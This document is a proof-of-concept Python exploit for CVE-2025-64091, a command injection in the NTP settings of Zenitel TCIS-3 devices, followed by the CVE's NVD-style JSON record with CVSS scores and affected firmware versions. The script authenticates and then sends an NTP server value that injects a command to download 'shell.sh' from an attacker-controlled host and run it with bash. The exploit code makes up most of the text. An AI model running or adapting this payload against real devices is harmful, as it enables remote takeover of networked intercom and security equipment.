CVE-2025-64091

import requests import urllib3 urllib3.disable_warnings() # CVE-2025-64091 PoC - Zenitel NTP Configuration Command Injection # Target: Zenitel device with valid authentication TARGET = "https://target-device.local" USERNAME = "admin" PASSWORD = "password" ATTACKER_IP = "attacker-controlled-ip" def exploit_ntp_command_injection(): """Exploit NTP configuration to inject commands""" # Login to get session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } login_resp = session.post(f"{TARGET}/api/login", json=login_data, verify=False) if login_resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Inject command via NTP server configuration # Payload: Reverse shell or command execution malicious_ntp = f"$(wget http://{ATTACKER_IP}/shell.sh && bash shell.sh)" ntp_config = { 'ntp_server': malicious_ntp, 'enabled': True } # Send malicious NTP configuration resp = session.post(f"{TARGET}/api/settings/ntp", json=ntp_config, verify=False) if resp.status_code == 200: print("[+] Malicious NTP configuration sent successfully") print(f"[*] Command injected via: {malicious_ntp}") return True else: print(f"[-] Failed to inject command: {resp.status_code}") return False if __name__ == "__main__": exploit_ntp_command_injection()

{"cve": {"id": "CVE-2025-64091", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:46.627", "lastModified": "2026-02-12T17:45:46.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability allows authenticated attackers to execute commands via the NTP-configuration of the device."}, {"lang": "es", "value": "Esta vulnerabilidad permite a atacantes autenticados ejecutar comandos a través de la configuración NTP del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zenitel:tcis-3_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.3.3", "matchCriteriaId": "1B689976-D6D7-4D27-907B-9866767A4045"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:zenitel:tcis-3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E46C75FA-422D-4C09-80E3-D946D65F078E"}]}]}], "references": [{"url": "https://www.zenitel.com/sites/default/files/2025-12/A100K12333%20Zenitel%20Security%20Advisory.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}